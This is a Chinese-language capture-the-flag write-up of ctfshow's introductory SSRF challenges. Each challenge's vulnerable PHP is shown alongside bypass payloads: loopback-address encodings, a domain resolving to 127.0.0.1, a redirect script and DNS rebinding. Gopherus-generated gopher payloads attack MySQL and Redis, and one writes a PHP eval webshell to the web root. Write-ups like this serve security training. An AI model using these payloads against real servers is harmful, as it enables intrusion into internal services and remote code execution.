[ctfshow-web入门]SSRF

web351

上来就是代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化 cURL 会话
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$result=curl_exec($ch);//执行 cURL 会话
curl_close($ch);//关闭 cURL 会话
echo ($result);
?>

ssrf就是利用我们可以访问到的服务器,对其服务器下面的内网进行探测,也可以理解为服务器拥有外网ip,而我们要访问的电脑则是在公网ip进行nat后分配的内网ip
构造payload: (POST方式)

url=127.0.0.1/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);//解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){ //这里应该设置匹配的对象
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?

1.必须包含http,不能用file了

2.过滤没有输入参数,实际是为了过滤localhost,但是他代码没对,没有加入参数,结果啥也没过滤

在这里插入图片描述

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

过滤掉了127.0.0.1和localhost
1)127.1会被解析成127.0.0.1,也就意味着为零可缺省
2)在Linux中,0也会被解析127.0.0.1
3)127.0.0.0/8是一个环回地址,从127.0.0.1~127.255.255.254都表示localhost
4)IP地址还可以通过表示成其他进制的形式访问,IP地址二进制,十进制,十六进制都可绕过
构造payload:

1)url=http://0/flag.php
2)url=http://127.1/flag.php
3)url=http://127.255.255.254/flag.php
4)url=http://2130706433/flag.php

在这里插入图片描述

web354

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

过滤了0和1
1)http://sudo.cc这个域名就是指向127.0.0.1(将域名A类指向127.0.0.1)
2)2.可以跳转到一个自己搭建的网站,再通过自己网站的自动跳转,在
自己页面添加

<?php
header("Location:http://127.0.0.1/flag.php");

构造payload:

url=http://sudo.cc/flag.php

在这里插入图片描述

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

对host多了一个五位数的限制
构造payload:

1)url=http://0/flag.php
2)url=http://127.1/flag.php

在这里插入图片描述

web356

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

和web355差不多,这里是限制三位数,构造payload:

url=http://0/flag.php

web357

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> 

1)gethostbyname()函数

gethostbyname-返回主机名对应的IPv4地址

在这里插入图片描述
2)filter_var()函数

filter_var() 函数通过指定的过滤器过滤变量。

因为代码中使用了gethostbyname()函数获取了真实的IP地址,所以域名指向方法不能再使用,可以使用dns rebinding方法

DNS rebinding(DNS重新绑定攻击)
攻击的重点就在于DNS服务能够在两次DNS查询中返回不同的地址,第一次是真实IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略

DNS rebinding中设置两个IP,一个是127.0.0.1,另外一个是随便可以访问的IP
构造payload:

url=http://r.标识符/flag.php

在这里插入图片描述
在这里插入图片描述

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

正则匹配:url字符串要以hhtp://ctf为开头,show结尾,大概就是下面这样:
在这里插入图片描述

构造payload:

url=hhtp://ctf.@127.0.0.1/flag.php?show

补充一下parse_url测试

<?php
$url=' http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

以上例程会输出:
在这里插入图片描述

web359

题目提示:打无密码的mysql
抓个包,发现reurl可疑,存在ssrf
在这里插入图片描述
使用 gopher 协议去打 mysql
用 gopherus 工具生成 payload

python2 gopherus.py --exploit mysql
root
select '<?php eval($_POST[cmd]);?>' into outfile 'var/www/html/4.php'

在这里插入图片描述

将得到的payload下划线后面的字符串再进行一次url编码(防止出现特殊字符,后端curl接收到参数后默认解码一次)
传参:
在这里插入图片描述
访问4.php,用蚁剑连接,在根目录下找到flag.txt
在这里插入图片描述
或者也可以用hacker
…忘记保存截图了,再实操发现不太行,有空再试试。

web260

题目提示:打redis
什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

漏洞的产生条件有以下两点:

redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网没有设置密码认证(一般为空),可以免密码远程登录redis服务

出现报错,说明存在redis服务
在这里插入图片描述
还是使用gopherus来生成Payload:
在这里插入图片描述
还是将得到的Payload下划线后面的字符串再次进行url编码,之后传参
在这里插入图片描述
这个时候默认生成shell.php文件,蚁剑连接,在根目录下找到了flaaag
在这里插入图片描述

参考文章:
https://www.ucloud.cn/yun/121452.html
https://blog.csdn.net/qq_50589021/article/details/120183781

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值